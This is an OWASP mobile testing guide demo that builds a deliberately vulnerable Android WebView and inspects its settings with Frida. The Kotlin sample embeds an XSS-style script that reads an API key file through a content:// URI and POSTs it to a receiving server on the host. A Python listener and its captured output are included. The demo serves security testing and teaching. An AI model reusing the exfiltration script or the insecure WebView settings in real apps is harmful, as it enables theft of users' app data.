Skip to content
Last updated: June 21, 2025

MASTG-DEMO-0030: Uses of WebViews Allowing Content Access with Frida

Download MASTG-DEMO-0030 APK Open MASTG-DEMO-0030 Folder Build MASTG-DEMO-0030 APK

Sample

This sample demonstrates the use of WebViews allowing content access in an Android app and how an attacker could exploit these settings to exfiltrate sensitive data from the app's internal storage using content URIs.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools">

    <uses-permission android:name="android.permission.INTERNET" />

    <application
        android:allowBackup="true"
        android:usesCleartextTraffic="true"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.MASTestApp"
        tools:targetApi="31">
        <activity
            android:name=".MainActivityWebView"
            android:exported="true"
            android:theme="@style/Theme.MASTestApp">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <provider
            android:name="androidx.core.content.FileProvider"
            android:authorities="org.owasp.mastestapp.fileprovider"
            android:exported="false"
            android:grantUriPermissions="true">
            <meta-data
                android:name="android.support.FILE_PROVIDER_PATHS"
                android:resource="@xml/filepaths" />
        </provider>

    </application>

</manifest>
1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<paths>
    <files-path name="internal_files" path="." />
</paths>
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
package org.owasp.mastestapp

import android.content.Context
import android.webkit.WebView
import java.io.*

/**
 * This class writes a sensitive file ("api-key.txt") into internal storage and then loads a vulnerable
 * page into a WebView. That page simulates an XSS injection:
 * an attacker's script (running in the context of the vulnerable page) makes an `XMLHttpRequest` to
 * read the sensitive file via the content provider and then uses `fetch` to send the content to an external server.
 *
 * By loading the page with a `file://` base URL and enabling universal access from file URLs,
 * we relax the default restriction (which would otherwise treat `content://` requests as opaque origin)
 * and allow the `XMLHttpRequest` to succeed.
 */
class MastgTestWebView(private val context: Context) {

    fun mastgTest(webView: WebView) {
        // Write a sensitive file (for example, cached credentials or private data).
        val sensitiveFile = File(context.filesDir, "api-key.txt")
        sensitiveFile.writeText("MASTG_API_KEY=072037ab-1b7b-4b3b-8b7b-1b7b4b3b8b7b")

        // Configure the WebView.
        webView.settings.apply {
            /* `javaScriptEnabled` is required for the attacker's script to even execute.
             * This is very common in WebViews, unless they only load static content.
            */
            javaScriptEnabled = true

            /* `allowUniversalAccessFromFileURLs` is required in this attack since it
             * relaxes the default restrictions so that pages loaded from file:// can access
             * content from any origin (including content:// URIs).
             *
             * If this is not set, the following error will be logged in logcat:
             *
             *   [INFO:CONSOLE(0)] "Access to XMLHttpRequest at 'content://org.owasp.mastestapp.provider/sensitive.txt'
             *   from origin 'null' has been blocked by CORS policy: Cross origin requests are only supported
             *   for protocol schemes: http, data, chrome, https, chrome-untrusted.", source: file:/// (0)
             *
             * Note that the fetch to the external server will still work, but the retrieval of the file content via content:// will fail.
            */
            allowUniversalAccessFromFileURLs = true


            /* `allowContentAccess` is intentionally not set to false to showcase the default behavior.
             * If we were to disable content provider access,
             * this would prevent the attacker's script from accessing the sensitive file via the content provider.
             */
            // allowContentAccess = false

        }

        // Vulnerable HTML simulating an XSS injection.
        // The attacker-injected script uses XMLHttpRequest to load the sensitive file from the content provider.
        val vulnerableHtml = """
            <html>
              <head>
                <meta charset="utf-8">
                <title>MASTG-DEMO-0030</title>
              </head>
              <body>
                <h1>MASTG-DEMO-0030</h1>
                <p>This HTML page is vulnerable to XSS. An attacker was able to inject JavaScript to exfiltrate data from the app internal storage using content:// URIs.</p>
                <p>The file is located in /data/data/org.owasp.mastestapp/files/</p>
                <p>NOTE: For demo purposes we display the exfiltrated data on screen. However, the user wouldn't even notice as the data is exfiltrated silently.</p>
                <script type="text/javascript">
                  function exfiltrate(data) {

                    var output = document.createElement("div");
                    output.style.color = "white";
                    output.style.borderRadius = "5px";
                    output.style.backgroundColor = "red";
                    output.style.padding = "1em";
                    output.style.marginTop = "1em";
                    output.innerHTML = "<strong>Exfiltrated Data:</strong><br>" + data;
                    document.body.appendChild(output);

                    // Send the text file content to the external server
                    fetch('http://10.0.2.2:5001/receive', {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'text/plain'
                        },
                        body: data
                    })
                    .then(response => console.log('File content sent successfully.'))
                    .catch(err => console.error('Error sending file content:', err));
                  }
                  function readSensitiveFile() {
                    var xhr = new XMLHttpRequest();
                    xhr.onreadystatechange = function() {
                      if (xhr.readyState === 4) {
                        if (xhr.status === 200) {
                          exfiltrate(xhr.responseText);
                        } else {
                          exfiltrate("Error reading file: " + xhr.status);
                        }
                      }
                    };
                    // The injected script accesses the sensitive file via the content provider.
                    xhr.open("GET", "content://org.owasp.mastestapp.fileprovider/internal_files/api-key.txt", true);
                    xhr.send();
                  }
                  // Simulate the injected payload triggering.
                  readSensitiveFile();
                </script>
              </body>
            </html>
        """.trimIndent()


        // Load the vulnerable HTML.
        // Using a base URL with the file:// scheme gives the page a non‑opaque origin (using content:/// works the same way).
        webView.loadDataWithBaseURL(
            "file:///",
            vulnerableHtml,
            "text/html",
            "UTF-8",
            null
        )
    }
}

AndroidManifest.xml

The app declares a content provider in the AndroidManifest.xml file, specifically a FileProvider with access to the app's internal storage as specified in the filepaths.xml file.

Note that for the exfiltration to work we include the android:usesCleartextTraffic="true" attribute in the AndroidManifest.xml file to allow cleartext traffic. However, the same script would work with HTTPS endpoints.

MastgTestWebView.kt

The code includes a script that demonstrates how an attacker could exploit the WebView settings to exfiltrate sensitive data from the app's internal storage using content URIs (content://).

This sample:

  • writes a sensitive file (api-key.txt) into internal storage using File.writeText().
  • configures a WebView to
    • allow JavaScript execution (javaScriptEnabled = true).
    • allow universal access from file URLs (allowUniversalAccessFromFileURLs = true). Otherwise, the XMLHttpRequest to a content:// URI from a file:// base URL would be blocked due to CORS policy.
    • content access is allowed by default (not explicitly called).
  • to simulate an XSS attack, the WebView uses loadDataWithBaseURL to load an HTML page with embedded JavaScript controlled by the attacker.

HTML and JavaScript

See vulnerableHtml in the MastgTestWebView.kt file.

  1. The attacker's script (running in the context of the vulnerable page) uses XMLHttpRequest to load the sensitive file from the content provider. The file is located at /data/data/org.owasp.mastestapp/files/api-key.txt
  2. fetch is used to send the file contents to an external server running on the host machine while the app is executed in the Android emulator (http://10.0.2.2:5001/receive).

Note: For demonstration purposes, the exfiltrated data is displayed on screen. However, in a real attack scenario, the user would not notice as the data would be exfiltrated silently.

server.py

A simple Python server that listens for incoming requests on port 5001 and logs the received data.

server.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import http.server
import socketserver
import json

class Handler(http.server.BaseHTTPRequestHandler):

    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        data = self.rfile.read(length)
        text = data.decode('utf-8')
        print(f'\n\n[*] Received POST data from {self.client_address[0]}:\n')
        try:
            parsed = json.loads(text)
            pretty = json.dumps(parsed, indent=4)
            print(pretty)
        except Exception as e:
            print(text)
        self.send_response(200)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.end_headers()

    def log_message(self, format, *args):
        # Suppress the default logging
        pass

if __name__ == '__main__':
    with socketserver.TCPServer(('0.0.0.0', 5001), Handler) as httpd:
        print('Serving on port 5001...')
        httpd.serve_forever()

Steps

  1. Install the app on a device ( Installing Apps)
  2. Make sure you have Frida for Android installed on your machine and the frida-server running on the device
  3. Run run.sh to spawn the app with Frida
  4. Click the Start button
  5. Stop the script by pressing Ctrl+C and/or q to quit the Frida CLI
1
2
#!/bin/bash
frida -U -f org.owasp.mastestapp -l ./script.js -o output.txt
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// Configuration parameter:
// Set to true to wait for the first call to getSettings() before enumerating WebViews.
// Set to false to enumerate immediately.
var delayEnumerationUntilGetSettings = true;

Java.perform(function() {
  var seenWebViews = {};
  var internalCall = false; // Flag to indicate internal calls

  // Function to print backtrace with a configurable number of lines (default: 5)
  function printBacktrace(maxLines = 8) {
    let Exception = Java.use("java.lang.Exception");
    let stackTrace = Exception.$new().getStackTrace().toString().split(",");

    console.log("\nBacktrace:");
    for (let i = 0; i < Math.min(maxLines, stackTrace.length); i++) {
        console.log(stackTrace[i]);
    }
    console.log("\n");
  }

  function enumerateWebViews() {
    Java.choose("android.webkit.WebView", {
      onMatch: function(instance) {
        var id = instance.toString();
        if (seenWebViews[id]) return;  // Skip if already seen
        seenWebViews[id] = true;
        Java.scheduleOnMainThread(function() {
          console.log(`\n[*] Found WebView instance: ${id}`);
          try {
            internalCall = true; // Set flag before calling getSettings
            var settings = instance.getSettings();
            internalCall = false; // Reset flag after calling getSettings
            console.log(`\t[+] JavaScriptEnabled: ${settings.getJavaScriptEnabled()}`);
            console.log(`\t[+] AllowFileAccess: ${settings.getAllowFileAccess()}`);
            console.log(`\t[+] AllowFileAccessFromFileURLs: ${settings.getAllowFileAccessFromFileURLs()}`);
            console.log(`\t[+] AllowUniversalAccessFromFileURLs: ${settings.getAllowUniversalAccessFromFileURLs()}`);
            console.log(`\t[+] AllowContentAccess: ${settings.getAllowContentAccess()}`);
            console.log(`\t[+] MixedContentMode: ${settings.getMixedContentMode()}`);
            console.log(`\t[+] SafeBrowsingEnabled: ${settings.getSafeBrowsingEnabled()}`);
          } catch (err) {
            console.log(`\t[-] Error reading settings: ${err}`);
          }
        });
      },
      onComplete: function() {
        console.log("\n[*] Finished enumerating WebView instances!");
      }
    });
  }

  var WebView = Java.use("android.webkit.WebView");

  if (delayEnumerationUntilGetSettings) {
    var enumerationTriggered = false;
    WebView.getSettings.implementation = function() {
      if (internalCall) {
        return this.getSettings(); // Return immediately if it's an internal call
      }
      var settings = this.getSettings();
      var id = this.toString();
      console.log(`\n[*] WebView.getSettings() called on instance: ${id}`);
      printBacktrace();
      if (!enumerationTriggered) {
        enumerationTriggered = true;
        Java.scheduleOnMainThread(function() {
          console.log("\n[*] Triggering enumeration after getSettings() call...");
          enumerateWebViews();
        });
      }
      return settings;
    };
  } else {
    enumerateWebViews();
  }
});

The Frida script is designed to enumerate instances of WebView in the application and list their configuration values. The script does not explicitly hook the setters of the WebView settings but instead calls the getSettings() method to retrieve the current configuration.

The script performs the following steps:

  1. Enumerates all instances of WebView in the application.
  2. For each WebView instance, it calls the getSettings() method to retrieve the current settings.
  3. Prints the configuration values of the WebView settings.
  4. Prints a backtrace when the getSettings() method is called to help identify where in the code the settings are being accessed.

Observation

The output shows that Frida found one WebView instance and lists many of the WebView settings. A backtrace is also provided to help identify where in the code the settings are being accessed.

output.txt
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[*] WebView.getSettings() called on instance: android.webkit.WebView{5c7fac1 VFEDHVC.. ......I. 0,0-0,0}

Backtrace:
android.webkit.WebView.getSettings(Native Method)
org.owasp.mastestapp.MastgTestWebView.mastgTest(MastgTestWebView.kt:25)
org.owasp.mastestapp.MainActivityWebViewKt$WebViewScreen$1$1$2$1.invoke(MainActivityWebView.kt:88)
org.owasp.mastestapp.MainActivityWebViewKt$WebViewScreen$1$1$2$1.invoke(MainActivityWebView.kt:85)
androidx.compose.ui.viewinterop.ViewFactoryHolder.<init>(AndroidView.android.kt:343)
androidx.compose.ui.viewinterop.AndroidView_androidKt$createAndroidViewNodeFactory$1.invoke(AndroidView.android.kt:274)
androidx.compose.ui.viewinterop.AndroidView_androidKt$createAndroidViewNodeFactory$1.invoke(AndroidView.android.kt:273)
androidx.compose.ui.viewinterop.AndroidView_androidKt$AndroidView$$inlined$ComposeNode$1.invoke(Composables.kt:254)



[*] Triggering enumeration after getSettings() call...

[*] Finished enumerating WebView instances!

[*] Found WebView instance: android.webkit.WebView{5c7fac1 VFEDHVC.. ........ 0,0-904,1796}
    [+] JavaScriptEnabled: true
    [+] AllowFileAccess: false
    [+] AllowFileAccessFromFileURLs: false
    [+] AllowUniversalAccessFromFileURLs: true
    [+] AllowContentAccess: true
    [+] MixedContentMode: 1
    [+] SafeBrowsingEnabled: true

We can also see how the sensitive data was exfiltrated to the attacker's server by inspecting the server logs.

output_server.txt
1
2
3
4
5
6
Serving on port 5001...


[*] Received POST data from 127.0.0.1:

MASTG_API_KEY=072037ab-1b7b-4b3b-8b7b-1b7b4b3b8b7b

Evaluation

The test fails due to the following WebView settings being configured:

evaluation.txt
1
2
3
JavaScriptEnabled: True
AllowContentAccess: True
AllowUniversalAccessFromFileURLs: True

Note that the method setAllowContentAccess is not explicitly called in the code. However, using this approach we can't really tell since we're inspecting the WebView settings after they have been configured.

As indicated by the backtrace in the output, the settings were called in the mastgTest method of the MastgTestWebView class. Since this app is a demo and code obfuscation tools like ProGuard or R8 are not applied, we can even see the exact file name and line number where the settings were configured: MastgTestWebView.kt:25. In a production build, this information is typically removed or obfuscated unless explicitly preserved.